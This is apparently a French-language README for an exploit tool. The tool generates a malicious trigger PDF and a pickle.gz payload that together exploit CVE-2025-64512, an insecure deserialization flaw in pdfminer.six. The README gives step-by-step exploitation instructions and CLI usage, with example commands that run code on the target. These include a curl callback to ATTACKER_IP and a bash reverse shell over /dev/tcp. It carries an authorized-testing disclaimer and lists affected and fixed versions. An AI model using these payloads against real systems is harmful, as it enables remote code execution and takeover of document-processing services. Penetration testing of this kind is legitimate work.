
Wrapper CLI pour le PoC de CVE-2025-64512 générant des charges utiles PDF malveillantes et pickle.gz afin d'exploiter la désérialisation non sécurisée dans pdfminer.six, permettant l'exécution de code à distance via le traitement de PDF spécialement conçus.
⚠️ Avertissement : Cet outil est destiné uniquement à des fins éducatives et à des tests d'intrusion autorisés. Utilisez-le uniquement contre des systèmes qui vous appartiennent ou pour lesquels vous disposez d'une autorisation écrite explicite. Toute utilisation non autorisée est illégale.
pdfminer.six est une bibliothèque Python largement utilisée pour extraire du texte et des métadonnées de fichiers PDF, souvent intégrée dans des pipelines de traitement de documents, des outils en ligne de commande et des flux de travail d'ingestion de données pour l'IA. Les versions affectées chargent les fichiers de cache CMap (correspondance de caractères) pour la prise en charge des polices CJK à l'aide du module pickle de Python, sans vérifier que le chemin résolu reste dans le répertoire de cache attendu.
Un PDF spécialement conçu peut référencer un chemin contrôlé par l'attaquant pour cette recherche CMap. Si un attaquant peut également placer un fichier .pickle.gz malveillant à ce chemin résolu (par exemple via une fonctionnalité d'upload de fichiers colocalisée), le traitement du PDF déclenche pickle.loads() sur des données contrôlées par l'attaquant, entraînant une exécution de code arbitraire. Ce mécanisme exact — y compris la structure du PDF PoC — a été documenté par mtolley dans l'avis officiel.
Ce dépôt contient un petit wrapper CLI autour de la preuve de concept officielle publiée dans l'avis de sécurité GitHub pour CVE-2025-64512. Il n'introduit aucune nouvelle technique d'exploitation — le modèle de PDF malveillant est repris presque mot pour mot de l'avis lui-même ; ce script ne fait que paramétrer le chemin cible, la commande à exécuter et les noms de fichiers de sortie afin de rendre le PoC plus facile à réutiliser.
CMapDB._load_data() dans pdfminer.six résout un nom CMap — tiré de l'entrée /Encoding d'une police PDF — en un chemin de fichier, et le charge avec pickle.loads() s'il se termine par .pickle.gz. La fonction ne valide pas que le chemin résolu reste dans le répertoire cmap/ de pdfminer.
/Encoding de la police référence un chemin choisi par l'attaquant (encodé en URL, / sous forme de #2F)..pickle.gz malveillant présent à <ce chemin>.pickle.gz sur le système de fichiers cible au moment où le PDF est traité.Ces deux fichiers peuvent généralement être livrés via le même canal d'upload qui finit par être traité par pdfminer.six (par exemple un pipeline d'ingestion de documents), tant que les chemins résultants sur disque sont prévisibles ou découvrables.
1. Générer une charge utile pickle malveillante (exécute une commande lors de l'unpickling)
2. La compresser sous la forme <nom>.pickle.gz
3. Générer un PDF « déclencheur » dont l'entrée /Encoding de la police pointe vers le chemin
complet sur le système de fichiers cible de ce .pickle.gz (sans l'extension)
4. Livrer les deux fichiers sur la cible afin qu'ils atterrissent aux chemins prévus
5. Attendre / déclencher le traitement du PDF déclencheur par pdfminer.six (ou tout outil
construit dessus, ex. pdf2txt.py)
6. pickle.loads() exécute la charge utile -> RCE
gzip, pickle, argparse)Aucune dépendance tierce n'est nécessaire pour générer la charge utile. La cible doit disposer d'une version vulnérable de pdfminer.six (ou d'un projet qui en dépend) qui traite réellement le PDF uploadé.
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Nom de fichier de sortie pour le PDF déclencheur (défaut : trigger.pdf)
--gz-out GZ_OUT Nom de fichier de sortie pour la charge utile pickle.gz (défaut : payload.pickle.gz)
--path PATH, -p PATH Chemin complet (sans .pickle.gz) sur le système de fichiers CIBLE où le
pickle.gz aboutira, ex. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Commande à exécuter sur la cible (défaut : id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
Cela produit :
payload.pickle.gz — à uploader en premier, vers .../uploads/payload.pickle.gztrigger.pdf — à uploader en second ; une fois que la cible le traite avec pdfminer.six, la commande s'exécutepython3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
| Champ | Valeur |
|---|
| CVE | CVE-2025-64512 |
| Affecté | pdfminer.six ≤ 20250506 (également markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) |
| Type | Désérialisation non sécurisée (CWE-502) |
| Privilèges | Aucun (non authentifié, si le traitement des PDF est exposé) |
| Impact | Exécution de code arbitraire |
| Correctif | pdfminer.six 20251107+ |